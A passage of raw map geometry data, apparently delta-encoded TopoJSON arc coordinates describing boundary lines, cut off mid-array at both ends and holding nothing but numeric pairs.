],[-11,20],[-7,5],[-13,0],[-7,-5],[-18,10],[-4,0],[-11,-10],[-13,10],[-11,0],[-18,-15],[-24,20],[-5,25],[-11,16]],[[7699,8456],[-2,-15],[5,-5],[-5,-15],[5,-5],[0,-5],[8,0],[-2,-10],[7,0],[9,-5],[13,-5],[-5,-20],[0,5],[7,5],[4,5],[9,5],[2,5],[3,0],[2,0],[0,5],[-2,5],[-5,5],[-4,5],[-2,5],[-3,5],[-2,5],[-4,0],[-5,5],[-13,5],[-9,5],[-2,0],[-6,10],[-3,0]],[[7499,8491],[-7,5],[-2,5],[-2,5],[2,5],[7,0],[4,-5],[-2,-15]],[[7060,1768],[-13,0],[-31,45],[-7,5],[-8,21],[-3,20],[-26,60],[-18,25],[-48,35],[-2,5],[-9,40],[0,21],[-7,30],[-2,10],[-9,0],[-4,-5],[-7,20],[11,10],[5,110],[-14,41],[-17,25],[-3,15],[-11,30],[-8,50],[2,15],[11,10],[9,30],[8,21],[5,5],[4,5],[7,30],[-7,20],[-13,25],[-4,15],[4,10],[9,15],[-9,20],[9,25],[-2,15],[4,0],[24,21],[14,10],[2,15],[9,25],[2,30],[-2,20],[0,15],[4,10],[-4,20],[-5,35],[-9,26],[9,35],[11,20],[-9,15],[-4,20],[26,20],[-2,35],[-26,71],[-2,25],[2,0],[0,10],[-5,25],[9,20],[2,15],[3,20],[4,25],[-2,15],[-20,41],[0,20],[-13,15],[-11,10],[-29,-20],[-15,5],[-7,10],[-13,10],[6,15],[-4,15],[-2,5],[-11,10],[-2,10],[2,10],[-16,40],[-11,10],[-9,20],[-4,26],[2,30],[-4,25],[-2,20],[-7,5],[0,15],[11,10],[2,20],[-4,10],[-5,40],[14,36],[-5,15],[9,20],[0,20],[7,25],[6,15],[5,5],[0,15],[4,20],[16,5],[-5,10],[5,10],[-3,10],[-13,16],[-6,10],[0,30],[-14,-5],[-6,10],[-9,10],[-11,0],[-11,25],[-11,15],[-22,5],[-27,-15],[-24,-30],[-15,5],[-9,-5],[-5,40],[7,35],[-13,60],[-11,11],[-2,-11],[0,-30],[-20,-25],[-2,0],[-18,10],[-13,0],[-5,10],[-4,0],[-9,-15],[-15,-5],[-5,-10],[-6,-5],[-5,-20],[5,-30],[22,-45],[-5,-5],[2,-20],[-17,-26],[-11,-10],[-20,-15],[-13,-15],[-22,-10],[-5,-10],[-28,-10],[-9,-10],[-11,-5],[-24,-35],[-25,5],[-4,20],[0,15],[-64,-40],[-35,25],[-51,30],[-7,-5],[-8,5],[-9,10],[-11,-15],[-16,-5],[-24,25],[-7,-10],[-6,-10],[-7,0],[-2,-10],[-29,15],[-2,15],[-2,10],[-5,0],[-6,10],[-11,-5],[-16,0],[-11,-5],[-4,0]],[[7759,6200],[0,15],[13,5],[0,-15],[4,-15],[5,0],[2,10],[11,25],[7,-5],[6,-5],[3,0],[2,15],[9,-5],[17,0],[5,5],[6,15],[31,10],[20,10],[9,-5],[4,-10],[7,-5],[6,-10],[3,-10],[2,-30],[6,-10],[7,0],[11,10],[9,10],[9,0],[11,5],[6,-5],[16,10],[9,10],[4,0],[4,10],[5,0],[4,0],[7,15],[9,-5],[4,-5],[18,-30],[13,-5],[4,-5],[3,0],[0,-5],[2,0],[9,0],[13,5],[4,5],[5,5],[2,5],[4,20],[2,5],[3,0],[15,-5],[9,0],[2,-5],[2,0],[7,5],[4,5],[2,0],[12,-5],[4,0],[2,5],[7,5],[4,5],[2,0],[7,0],[0,-5],[0,-5],[0,-5],[13,-15],[0,-5],[2,0],[5,0],[4,-5],[2,-5],[9,-5],[5,0],[4,0],[4,5],[9,5],[0,-5],[2,-5],[-6,-10],[2,-10],[13,-10],[9,-5],[5,-5],[13,0],[2,0],[26,-10],[7,0],[0,5],[0,-5],[2,-5],[7,0],[0,-10],[4,-5],[7,-5],[4,0],[13,5],[9,0],[3,0],[13,5],[11,0],[13,0],[7,-5],[4,0],[0,-5],[4,-6],[3,0],[4,-5],[0,-5],[4,-10],[3,0],[4,-5],[4,-5],[11,-5],[9,-15],[0,-5],[3,0],[11,-15],[11,0],[15,-10],[2,-5],[13,-20],[5,0],[6,-10],[7,0],[2,5],[0,5],[2,0],[5,0],[6,5],[14,0],[4,5],[5,5],[2,5],[2,10],[2,10],[2,0],[3,0],[4,-5],[2,0],[9,0],[18,-5],[2,0],[2,0],[4,-15],[3,0],[-3,-5],[-6,-5],[-2,-5],[-3,-5],[-8,-5],[-3,0],[3,-5],[2,-10],[2,-10],[0,-10],[4,0],[14,-10],[2,-5],[15,-10],[0,-5],[0,-20],[0,-6],[2,-5],[3,-10],[0,-5],[2,-5],[-2,-10],[-7,-5],[-7,-10],[-4,-10],[4,-10],[-4,-5],[-9,-20],[-6,-10],[-3,-10],[3,-5],[0,-5],[0,-10],[-9,-15],[-2,-10],[13,-25],[4,-5],[-2,-21],[-2,-5],[-5,-10],[3,-10],[2,-35],[9,-5],[-5,-10],[-2,0],[0,-5],[-4,-10],[2,0],[6,0],[11,-10],[22,-5],[7,-10],[5,-10],[0,-5],[2,0],[2,0],[2,-5],[2,0],[9,0],[2,0],[7,0],[7,-5],[0,-5],[2,-10],[2,0],[15,-20],[29,-21],[7,0],[15,-5],[5,11],[4,0],[4,0],[14,5],[6,-11],[2,-10],[9,5],[11,5],[2,11],[9,-5],[5,0],[4,-21],[0,-25],[7,0],[6,0],[7,-15],[15,-5],[7,-5],[4,-5],[9,-5],[9,10],[11,0],[7,5],[0,-5],[2,-5],[4,-10],[2,-5],[5,0],[2,-5],[4,-5],[11,-35],[7,-5],[7,0],[4,-10],[2,-5],[5,-15],[4,-5],[5,0],[6,-10],[7,-10],[-5,-21],[-2,-5],[2,-5],[3,-30],[8,-10],[5,0],[0,-5],[4,0],[31,5],[22,-10],[7,5],[13,-10],[-2,-5],[0,-10],[0,-10],[0,-5],[0,-5],[13,-15],[9,-20],[6,-20],[14,5],[15,15],[2,5],[2,5],[5,5],[6,5],[12,-10],[11,0],[13,5],[2,5],[2,0],[5,15],[4,-5],[11,0],[4,0],[5,-10],[2,-5],[11,15],[13,0],[2,0],[7,15],[2,0],[5,0],[4,0],[7,10],[4,5],[2,10],[16,15],[9,20],[11,5],[11,-10],[33,10],[9,-5],[22,0],[-5,15],[2,15],[-2,21],[2,0],[0,5],[5,15],[0,25],[-2,5],[-5,10],[-2,5],[-7,5],[0,15],[-2,5],[0,15],[7,5],[2,5],[7,15],[6,55],[2,11],[0,5],[3,0],[4,10],[2,10],[0,10],[0,25],[0,5],[0,20],[38,-10],[8,0],[3,0],[9,-5],[24,-15],[26,-15],[7,-5],[2,0],[7,-10],[6,25],[5,0],[2,0],[13,5],[16,0],[2,20],[0,5],[-2,5],[-11,15],[-3,5],[-4,10],[-5,10],[0,10],[3,10],[2,15],[0,5],[0,5],[2,5],[2,0],[7,5],[7,5],[15,0],[9,10],[4,21],[0,25],[0,5],[2,5],[3,10],[4,10],[4,20],[11,25],[0,5],[0,15],[9,5],[7,30],[0,5],[4,5],[14,5],[11,0],[24,-5],[22,36],[2,5],[4,5],[5,5],[2,0],[4,0],[5,-5],[17,-15],[3,-11],[0,-10],[2,-5],[2,-10],[7,-10],[4,0],[2,-5],[5,-15],[2,-5],[7,-10],[6,0],[5,-5],[4,-5],[9,-10],[0,-5],[4,-5],[2,-5],[-2,-15],[0,-5],[0,-5],[-4,-10],[-2,-10],[0,-5],[-3,-10],[0,-5],[0,-5],[0,-5],[3,0],[4,-10],[2,0],[2,-5],[3,0],[2,0],[6,0],[3,-6],[2,0],[4,0],[2,0],[5,-5],[4,-5],[5,0],[4,0],[7,-5],[2,0],[7,0],[6,0],[2,-5],[3,-5],[2,0],[6,-5],[7,-5],[4,-5],[3,0],[4,-5],[2,-5],[2,-5],[3,-10],[11,-10],[2,-5],[4,0],[7,0],[9,-5],[-3,-10],[-2,0],[0,-5],[5,-5],[-5,-10],[0,-10],[2,-5],[3,-10],[0,-5],[0,-5],[0,-5],[-3,-10],[0,-5],[0,-5],[0,-5],[-2,-5],[0,-5],[0,-5],[0,-11],[-2,0],[-2,-10],[-2,0],[-3,0],[-2,-5],[-2,0],[-2,-5],[0,-5],[0,-5],[-2,-15],[0,-5],[0,-5],[-3,-5],[-2,-5],[0,-5],[0,-5],[0,-5],[0,-10],[0,-10],[-2,0],[0,-5],[-4,-10],[-3,-5],[-2,-5],[-2,-5],[-4,-5],[-5,-10],[-2,-5],[7,-10],[4,-10],[-2,-15],[4,-15],[0,-6],[0,-15],[-2,-15],[0,-5],[-2,-5],[-2,-15],[0,-5],[0,-5],[4,-25],[4,-30],[-6,-5],[-11,-35],[4,-10],[0,-15],[-6,-10],[-7,5],[-2,-16],[-5,-10],[7,-25],[-9,-15],[0,-20],[5,-5],[-7,-25],[-11,-40],[-4,-5],[0,-10],[-20,-15],[-9,-5],[-11,0],[-2,-10],[-5,-5],[2,-5],[-4,-21],[-7,0],[0,-5],[14,-10],[2,-10],[9,-10],[0,-10],[2,-5],[9,-20],[6,-15],[0,-25],[5,-25],[-3,-40],[-2,-11],[-15,6],[-29,-41],[-24,-20],[0,-10],[-24,-25],[6,-15],[11,-10],[5,-25],[9,-15],[8,-10],[-2,-20],[-2,-15],[-2,-16],[-16,-15],[-11,0],[-22,-80],[-11,-10],[-9,-5],[-4,-5],[2,-5],[5,-15],[8,-25],[5,-25],[-2,-21],[6,-35],[-4,-10],[2,-20],[4,0],[5,-10],[0,-20],[9,-15],[4,-25],[-4,-10],[4,-10],[16,-10],[24,15],[50,5],[7,10],[35,-40],[3,0],[46,-81],[11,-10],[7,0],[-3,-20],[-13,-30],[4,-35],[-6,-30],[2,-10],[7,-6],[-11,-40],[4,-20],[-9,-10],[-9,-20],[0,-15],[-4,-5],[-2,-20],[9,-30],[-16,-46],[0,-10],[2,-10],[-13,-10],[-15,-5],[0,-20],[-7,-10],[-9,-20],[-33,30],[-6,20],[-25,30],[-11,21],[-8,0],[-31,-31],[-7,-5],[-9,5],[-11,10],[-11,16],[-9,0],[-8,10],[-5,5],[-6,5],[-16,10],[-24,0],[-2,-15],[-3,-21],[-17,-25],[-9,-5],[-18,30],[-11,16],[-13,-21],[-6,0],[-11,-5],[-7,10],[-16,0],[-11,6],[-4,10],[2,15],[2,15],[-6,15],[-7,20],[-6,25],[-22,15],[-9,5],[-7,20],[-13,-5],[-22,-30],[-18,20],[-4,15],[-7,55],[0,11],[2,10],[7,20],[7,20],[8,10],[9,25],[7,10],[-5,10],[-26,50],[-11,25],[-2,26],[2,15],[-2,5],[-5,-5],[-4,-5],[0,-5],[-7,0],[-6,-5],[-5,-11],[-4,0],[-4,-5],[-3,-5],[-2,-5],[0,-5],[-4,-5],[0,-10],[0,-5],[-5,-15],[-4,-10],[-20,20],[-29,10],[-2,5],[0,5],[2,5],[-22,-10],[-42,-40],[-8,0],[-5,0],[-13,-5],[-18,-20],[-15,0],[-2,-15],[-5,0],[-13,-15],[-33,10],[-13,20],[-11,0],[-7,-30],[0,-10],[5,-10],[-7,-15],[-2,-20],[9,-26],[4,-15],[-11,-25],[-4,-20],[-38,-10],[2,-20],[11,-20],[-6,-20],[-9,-10],[-13,-10],[-5,-20],[-4,-25],[-9,-6],[-4,-15],[-33,-10],[-5,-20],[0,-5],[5,-15],[15,-20],[-7,-15],[7,-30],[-7,-50],[-8,-10],[-11,-5],[4,-31],[11,-20],[-7,-20],[-2,-10],[0,-20],[7,-10],[-11,-30],[0,-20],[4,-5],[13,-25],[3,-31],[4,-5],[-4,-25],[-11,-15],[0,-5],[-7,-5],[-4,-15],[0,-15],[-7,-10],[7,-20],[19,-10],[3,-5],[8,5],[5,-15],[0,-30],[4,-20],[9,-11],[15,11],[7,5],[7,-5],[6,-16],[-2,-10],[5,-10],[24,10],[11,-10],[9,0],[4,20],[7,0],[6,16],[18,-11],[4,16],[18,10],[4,5],[5,-5],[4,-10],[22,-5],[0,-6],[9,-20],[2,-35],[0,-10],[5,-5],[11,10],[4,5],[7,0],[15,-45],[-9,-10],[-2,-10],[4,-60],[-4,-20],[-13,-11],[-16,5],[-4,0],[-9,0],[-17,-20],[-16,-20],[0,-15],[-4,-25],[6,-30],[3,-15],[-14,-5],[-11,-15],[-11,-20],[-11,0],[0,-5],[0,-36],[-6,-15],[-3,-25],[0,-20],[18,-50],[9,-45],[15,-10],[20,-30],[13,-6],[-2,-20],[18,-30],[15,-5],[2,-5],[7,-20],[-7,-20],[18,-15],[-2,-25],[2,-10],[2,0],[0,-20],[11,-5],[9,-15],[9,-46],[-2,-15],[-53,-75],[-11,-50],[-31,-25],[-7,5],[-13,-11],[-9,6],[-22,5],[-13,10],[-9,0],[-9,5],[-13,-5],[-9,-10],[-8,-5],[-23,-41],[-6,5],[-5,10],[-6,0],[-9,26],[-7,0],[-8,15],[-7,-5],[0,5],[-11,10],[2,5],[9,10],[11,15],[0,30],[7,10],[0,15],[8,5],[-4,40],[-7,5],[5,5],[-9,46],[-22,15],[-11,15],[-7,5],[-17,20],[-42,15],[-29,20],[-9,55],[3,5],[6,0],[5,20],[6,0],[0,15],[-2,5],[-4,0],[-5,11],[9,15],[0,15],[-11,5],[-11,20],[-11,15],[-11,10],[6,25],[7,30],[9,20],[2,10],[11,10],[-2,15],[2,6],[-4,0],[4,25],[-4,5],[-20,0],[-2,5],[-14,20],[-8,5],[-7,15],[-15,15],[-18,50],[7,20],[-14,5],[-42,-20],[-4,-5],[-4,-10],[2,-15],[0,-5],[-13,-10],[-5,25],[-6,5],[-7,-10],[-20,55],[-17,-15],[-9,-5],[-20,-20],[-7,0],[0,-10],[-9,-15],[-26,-25],[-7,10],[-4,-5],[-2,0],[-11,0],[-7,-5],[-11,10],[-7,-15],[-8,0],[-5,0],[-4,-5],[-11,0],[-2,0],[-3,-15],[-8,-15],[-20,-25],[-7,0],[-13,-10],[-16,-21],[-19,-5],[-11,-10],[-7,0],[-15,-30],[-18,5],[-18,15],[-15,36],[-18,10],[-9,20],[-8,-10],[-5,5],[-31,-51],[11,-40],[-11,-10],[0,-10],[-8,-10],[-5,-15],[2,-10],[11,-5],[7,-5],[0,-35],[-2,-10],[-16,-25],[-6,-41],[0,-15],[-2,-10],[-27,-10],[-18,15],[-11,-5],[-15,20],[-2,15],[-11,15],[-11,-15],[-5,-20],[-11,5],[-9,-5],[-6,-5],[-5,-10],[-8,0],[-3,-5],[0,-10],[-11,-5],[-6,-10],[-13,-5],[-27,10],[-4,0],[-7,-5],[-20,40],[-6,-5],[-18,10],[-13,-10],[-7,5],[-15,-5],[-2,5],[-11,5],[-9,15],[-5,0],[-9,10],[-6,0],[-5,15],[-4,11],[-7,0],[-4,0],[-11,-21],[-26,36],[-5,10],[-4,5],[-7,15],[-2,5],[-5,10],[-4,5],[-4,15],[-14,25],[0,5],[0,5],[0,10],[-4,5],[-4,0],[-3,5],[0,10],[0,5],[-4,5],[-2,20],[0,15],[-2,5],[0,6],[-3,10],[0,10],[0,5],[-2,5],[-4,5],[-5,10],[-4,5],[-7,30],[-8,15],[-25,10],[-9,20],[-6,0],[-7,5],[-22,10],[-4,10],[4,20],[-4,15],[9,10],[6,26],[-4,10],[0,30],[-5,40],[-6,20],[-2,15],[-9,15],[-5,25],[9,56],[-2,25],[9,25],[-5,20],[3,25],[-3,30],[0,30],[11,15],[5,16],[-5,50],[-4,5],[-26,0],[-3,20],[27,5],[4,65],[-4,35],[4,15],[0,6],[-9,-6],[-8,-15],[-47,-35],[-11,-25],[-9,-20],[3,-15],[-5,-20],[0,-30],[-13,-15],[-11,-31],[-9,0],[-24,16],[-4,10],[-14,5],[-4,30],[-7,5],[0,10],[-6,0],[-5,10],[-4,0],[-9,25],[-7,0],[-4,35],[2,10],[7,5],[0,25],[-11,5],[-9,21],[-4,5],[-16,-31],[-9,5],[-26,-5],[-5,10],[-57,-10],[-13,-15],[-9,0],[-22,-20],[-18,0],[-8,-25],[0,-20],[-11,-20],[2,-10],[4,-15],[-2,-40],[-4,-5],[-3,-21],[5,-15],[6,-10],[-4,-10],[-9,-20],[-15,-20],[-7,-5],[-11,-5],[-13,0],[-5,-10],[-4,0],[4,-45],[-2,-25],[5,-10],[8,-15],[16,-21],[7,-15],[8,-5],[5,-10],[6,10],[5,0],[4,-25],[7,0],[2,-15],[0,-15],[4,-20],[-8,-10],[6,-5],[-4,-20],[-9,-15],[7,-30],[4,-10],[7,-6],[0,-10],[-7,-10],[-2,-15],[-5,0],[3,-10],[-3,-10],[-6,-5],[4,-10],[-2,-20],[4,-5],[11,-45],[16,-5],[13,-5],[4,-15],[-2,-15],[7,-31],[-16,-30],[-2,-10],[2,-20],[9,-20],[5,0],[-7,-20],[-2,-30],[-2,-5],[-20,-15],[-7,-25],[5,-15],[0,-41],[-27,-40],[-9,-40],[-19,-20],[0,-25],[-5,-20],[-15,-15],[4,0],[2,-21],[-9,-30],[5,-25],[-7,-20],[5,-15],[0,-25],[-5,-25],[-4,-10],[-16,0],[-8,5],[-22,-15],[-9,-5],[4,-26],[-6,-15],[-3,-35],[-11,-15],[-15,-5],[-11,-10],[-9,-45],[0,-15],[-7,-10],[0,-25],[7,-10],[-7,-15],[0,-26],[-17,-20],[-11,-25],[-20,5],[-11,5],[-16,-5],[-4,-5]],[[3875,8647],[0,5],[2,0],[2,0],[2,5],[3,0],[2,5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[5,0],[4,5],[2,0],[5,0],[22,5],[6,0],[3,0],[2,0],[4,0],[2,0],[0,5],[3,0],[2,0],[2,0],[0,5],[2,0],[2,5],[3,5],[2,0],[2,5],[4,0],[3,0],[4,5],[2,0],[2,0],[5,5],[2,0],[2,0],[2,5],[3,0],[2,0],[2,0],[2,0],[2,0],[7,5],[4,0],[3,0],[2,0],[2,0],[0,5],[2,0],[2,0],[3,0],[2,5],[2,0],[2,0],[3,5],[2,0],[4,5],[2,0],[3,0],[0,5],[2,0],[0,5],[0,5],[2,5],[2,0],[0,5],[0,5],[2,0],[3,0],[0,5],[2,0],[0,6],[2,0],[2,0],[0,5],[2,0],[3,5],[2,0],[2,0],[0,5],[2,0],[2,0],[0,5],[3,0],[0,5],[2,5],[2,5],[0,10],[0,5],[2,0],[0,5],[0,5],[0,5],[0,5],[2,5],[0,5],[3,5],[2,10],[0,5],[2,5],[0,5],[2,0],[2,0],[3,5],[2,0],[2,0],[2,0],[2,0],[3,0],[4,-5],[4,0],[3,0],[2,0],[2,0],[0,-5],[2,0],[3,-5],[2,-5],[2,-5],[2,0],[0,-5],[2,0],[3,0],[2,0],[2,0],[4,0],[3,0],[2,0],[2,0],[2,5],[2,0],[3,0],[2,0],[2,0],[2,5],[5,5],[2,0],[2,0],[0,5],[2,0],[2,5],[3,0],[2,5],[2,0],[2,0],[2,0],[5,0],[4,0],[2,5],[3,0],[2,0],[2,0],[4,0],[3,0],[2,-5],[2,0],[2,0],[2,0],[5,5],[4,0],[3,0],[2,0],[2,0],[2,0],[2,-5],[3,0],[2,0],[2,0],[2,0],[0,-5],[2,0],[3,0],[0,-5],[2,0],[4,-5],[2,-5],[3,-5],[2,-5],[2,0],[2,-5],[2,0],[0,-5],[3,0],[2,-5],[2,-10],[2,0],[2,-5],[3,-15],[2,-5],[2,-5],[0,-5],[0,-5],[2,0],[0,-5],[-2,-5],[0,-5],[0,-5],[-2,0],[-2,-11],[-3,-5],[0,-5],[-2,0],[0,-5],[0,-5],[2,0],[0,-5],[0,-5],[0,-5],[3,-5],[0,-5],[2,-5],[0,-5],[2,0],[0,-5],[2,0],[2,-5],[3,0],[0,-5],[2,0],[2,-5],[2,0],[2,0],[0,-5],[3,0],[2,0],[2,0],[4,0],[5,0],[2,0],[2,0],[5,0],[2,0],[2,0],[2,0],[3,0],[2,0],[0,-5],[4,0],[5,-5],[4,0],[0,-5],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[2,0],[0,5],[3,0],[2,5],[2,5],[0,5],[2,0],[0,5],[0,5],[2,5],[0,5],[0,5],[0,5],[0,5],[3,0],[0,5],[2,0],[2,5],[2,0],[0,5],[2,0],[3,0],[2,0],[2,0],[2,0],[2,0],[3,0],[4,-5],[4,-5],[3,0],[2,0],[2,0],[2,0],[2,0],[3,-5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[4,0],[5,0],[2,0],[2,0],[2,5],[3,0],[2,0],[2,0],[2,0],[2,0],[3,0],[6,0],[2,0],[5,0],[2,0],[2,0],[2,0],[3,0],[2,0],[6,-5],[3,0],[2,0],[2,-5],[4,-5],[3,0],[0,-5],[2,0],[2,0],[0,-5],[2,0],[2,0],[5,0],[2,-5],[2,0],[3,0],[2,5],[2,0],[2,0],[2,0],[0,5],[3,0],[2,0],[4,0],[2,0],[5,0],[2,0],[2,5],[2,0],[5,0],[2,0],[2,0],[2,5],[3,0],[2,0],[2,0],[7,5],[2,0],[0,5],[2,0],[2,5],[2,5],[3,0],[2,0],[2,5],[2,5],[2,0],[5,5],[0,5],[2,0],[0,5],[2,0],[2,5],[3,-5],[2,0],[2,0],[2,5],[3,0],[2,0],[2,0],[2,6],[2,0],[3,-6],[2,0],[2,0],[2,-5],[2,-5],[3,-5],[2,0],[2,-5],[2,0],[0,-5],[2,0],[3,0],[0,-5],[4,0],[2,0],[0,-5],[2,0],[3,0],[2,0],[2,0],[0,5],[2,0],[2,0],[3,0],[2,0],[2,0],[2,5],[2,0],[3,5],[2,0],[2,5],[2,5],[2,0],[0,5],[3,0],[0,5],[2,6],[0,5],[2,5],[0,10],[0,5],[0,5],[0,5],[0,5],[0,5],[2,5],[0,5],[0,5],[2,0],[0,5],[3,5],[2,5],[2,0],[0,5],[4,5],[3,0],[0,5],[2,0],[2,0],[2,5],[3,0],[2,0],[2,0],[2,0],[5,0],[8,-5],[3,0],[2,0],[2,0],[2,0],[2,5],[5,0],[4,0],[2,0],[3,0],[2,0],[2,0],[2,0],[0,5],[2,0],[0,5],[0,5],[0,5],[0,5],[0,5],[0,5],[3,0],[2,5],[2,0],[2,0],[2,0],[0,5],[3,0],[2,5],[2,0],[2,5],[2,0],[3,0],[2,0],[2,5],[2,0],[2,0],[3,0],[2,-5],[2,0],[2,0],[5,-5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[0,5],[2,0],[3,5],[2,0],[2,5],[0,5],[2,0],[0,5],[2,5],[3,0],[0,5],[2,5],[2,0],[2,0],[2,5],[3,0],[2,0],[6,5],[3,0],[2,0],[0,6],[2,0],[2,5],[2,5],[0,5],[3,5],[2,5],[2,5],[2,10],[0,5],[2,0],[0,5],[3,5],[2,0],[0,5],[2,0],[2,5],[2,5],[3,0],[2,0],[0,5],[2,0],[5,0],[0,5],[2,0],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[2,0],[3,-5],[2,0],[2,0],[2,0],[2,-5],[3,0],[2,-5],[2,0],[2,0],[0,-5],[2,0],[0,-5],[0,-5],[3,0],[0,-5],[0,-5],[2,-5],[0,-5],[0,-5],[0,-5],[2,-5],[0,-5],[0,-5],[2,0],[0,-5],[2,0],[3,0],[2,0],[2,0],[2,5],[2,5],[3,0],[0,5],[2,0],[2,10],[2,0],[0,5],[2,0],[0,5],[3,0],[2,5],[2,0],[2,0],[2,0],[0,-5],[3,0],[2,0],[2,0],[2,5],[2,0],[3,0],[2,0],[4,5],[5,0],[2,5],[2,0],[2,0],[5,0],[2,0],[2,0],[2,0],[3,-5],[0,-5],[2,-5],[0,-5],[2,0],[0,-5],[2,0],[2,-5],[3,0],[2,0],[2,5],[2,0],[2,0],[3,0],[2,0],[2,0],[4,5],[3,0],[2,0],[2,0],[2,5],[2,0],[3,0],[0,-5],[4,0],[2,0],[2,0],[3,0],[2,0],[2,-5],[2,0],[2,0],[3,-5],[2,0],[4,-5],[3,0],[2,-5],[2,-5],[2,0],[0,-5],[-2,-6],[0,-5],[0,-5],[-2,-10],[0,-5],[-2,-10],[0,-5],[0,-5],[0,-5],[0,-5],[2,-5],[2,-5],[0,-5],[2,-5],[2,-5],[3,-5],[2,0],[0,-5],[2,0],[2,0],[2,-5],[3,0],[4,0],[2,-5],[2,0],[3,0],[2,-5],[2,-5],[2,0],[2,-5],[3,0],[0,-5],[2,-5],[2,0],[2,-5],[0,-5],[2,-5],[3,0],[2,-5],[2,-5],[2,-5],[2,0],[3,-5],[2,0],[2,0],[2,-5],[2,0],[3,0],[2,0],[2,0],[4,0],[3,-5],[2,0],[2,0],[7,0],[2,0],[2,5],[2,0],[3,0],[2,0],[4,0],[5,0],[4,0],[7,-5],[2,0],[4,0],[2,0],[3,0],[2,0],[2,0],[2,-5],[2,0],[3,0],[2,0],[2,0],[2,0],[5,-5],[2,0],[2,0],[2,0],[5,0],[4,0],[2,-5],[2,0],[3,0],[2,0],[2,-5],[4,0],[0,-5],[3,0],[0,5],[2,0],[2,5],[0,5],[2,0],[0,5],[0,5],[3,5],[0,5],[2,0],[0,5],[2,0],[0,5],[2,0],[0,5],[2,0],[3,5],[2,0],[2,5],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[2,-5],[3,0],[2,0],[2,0],[0,-5],[2,0],[2,0],[5,-5],[4,-5],[2,-5],[3,0],[2,0],[2,-5],[2,0],[5,-5],[2,0],[6,-5],[5,-5],[2,0],[2,0]],[[5982,9380],[2,0],[3,0],[0,5],[2,0],[2,0],[2,6],[2,0],[3,0],[2,0],[0,5],[2,0],[2,5],[2,0],[0,5],[5,5],[2,0],[4,5],[0,5],[3,0],[0,5],[2,0],[0,5],[2,0],[2,0],[2,0],[3,0],[2,0],[4,-5],[5,0],[2,-5],[2,0],[2,-5],[5,0],[0,-5],[2,0],[2,0],[2,-5],[3,0],[2,0],[2,0],[2,0],[2,-5],[3,0],[0,5],[2,0],[2,0],[2,0],[2,0],[3,0],[2,0],[2,5]],[[6110,9421],[4,0],[3,0],[2,0],[2,0],[2,0],[2,0],[3,-5],[2,0],[4,0],[2,0],[0,-5],[3,0],[2,0],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[5,0],[2,-5],[2,0],[2,0],[3,0],[2,0],[2,0],[0,-5],[2,0],[2,0],[3,-5],[4,0],[2,0],[0,-5],[2,0],[3,0],[2,-6],[2,0],[2,0],[0,-5],[2,0],[3,0],[0,-5],[2,0],[0,-5],[2,-5],[2,0],[0,-5],[2,0],[3,0],[2,-5],[4,0],[2,-5],[3,0],[2,-5],[4,-5],[2,0],[3,0],[2,-5],[2,0],[2,0],[2,-5],[3,0],[2,0],[2,0],[2,0],[2,0],[3,0],[2,5]],[[6434,9230],[4,0],[3,0],[2,0],[4,0],[2,0],[3,0],[0,-5],[2,0],[2,-5],[2,-5],[2,0],[5,-5],[2,-5],[5,-5],[2,0],[0,-5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[4,0],[5,5],[2,0],[2,0],[2,5],[5,0],[2,5],[2,0],[2,0],[5,0],[0,5],[4,0],[2,0],[3,0],[2,0],[4,5],[9,5],[11,5],[2,0],[2,5],[3,0],[11,0],[4,0],[2,0],[3,0],[0,5],[2,0],[2,0],[7,5],[2,5],[4,0],[7,10],[4,0],[2,5],[7,5],[4,0],[5,5],[2,5],[2,0],[2,0],[3,5],[2,0],[2,5],[4,5],[3,5],[2,0],[2,5],[4,5],[5,5],[2,5],[2,0],[2,5],[3,0],[2,5],[2,0],[5,5],[4,0],[11,10],[4,5],[3,5],[4,0],[2,0],[5,5],[2,0],[2,5],[4,0],[7,5],[7,5],[4,5],[4,0],[5,5],[2,0],[2,0],[5,0],[0,6],[2,0],[2,0],[2,0],[5,0],[2,0],[0,-6],[2,0],[2,0],[5,0],[11,-5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[7,0],[4,0],[2,0],[5,0],[2,0],[2,0],[4,0],[3,0],[2,0],[2,-5],[2,0],[2,0],[3,0],[2,0],[2,-5],[2,0],[2,0],[3,0],[2,-5],[2,0],[2,-5],[2,0],[3,0],[2,-5],[2,-5],[2,0],[3,0],[2,0],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[4,0],[7,0],[2,0],[2,0],[3,0],[2,0],[6,0],[5,0],[2,0],[2,0],[7,-5],[4,-5],[2,0],[3,0],[2,-5],[2,0],[2,-5],[2,0],[3,-5],[2,0],[2,-5],[2,-5],[2,-5],[3,0],[2,-5],[2,0],[0,-5],[7,-5],[4,0],[2,0],[0,-5],[3,0],[2,0],[2,0],[2,0],[2,0],[3,0],[2,0],[0,-5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[2,-5],[2,0],[3,0],[2,-5],[2,0],[2,0],[2,0],[3,0],[0,5],[2,0],[2,0],[0,5],[4,5],[3,0],[0,5],[2,0],[2,0],[2,0],[2,0],[0,-5],[3,0],[6,0],[5,-5],[2,0],[0,-5],[2,0],[0,-5],[2,0],[0,-5],[0,-5],[2,0],[3,-5],[2,-5],[4,-5],[3,-5],[4,-5],[2,-5],[2,-5],[5,0],[6,5],[3,-10],[13,10],[2,0],[9,5],[17,-5],[16,-5],[2,0],[68,10],[31,10],[18,0],[26,-15],[391,-307],[17,-25],[110,-216]],[[7759,8396],[-2,0],[-3,0],[-2,-5],[-9,-5],[-4,-5],[-7,-5],[0,-5],[5,20],[-13,5],[-9,5],[-7,0],[2,10],[-8,0],[0,5],[-5,5],[5,15],[-5,5],[2,15],[3,0],[6,-10],[2,0],[9,-5],[13,-5],[5,-5],[4,0],[2,-5],[3,-5],[2,-5],[4,-5],[5,-5],[2,-5],[0,-5]],[[5354,3185],[-7,40],[9,10],[-2,20],[15,11],[0,5],[-4,5],[-2,15],[-7,15],[2,10],[18,35],[-7,35],[0,15],[7,-5],[9,0],[4,-10],[22,5],[7,10],[13,-10],[27,20],[24,-10],[4,10],[16,55],[8,0],[9,16],[13,35],[9,10],[7,15],[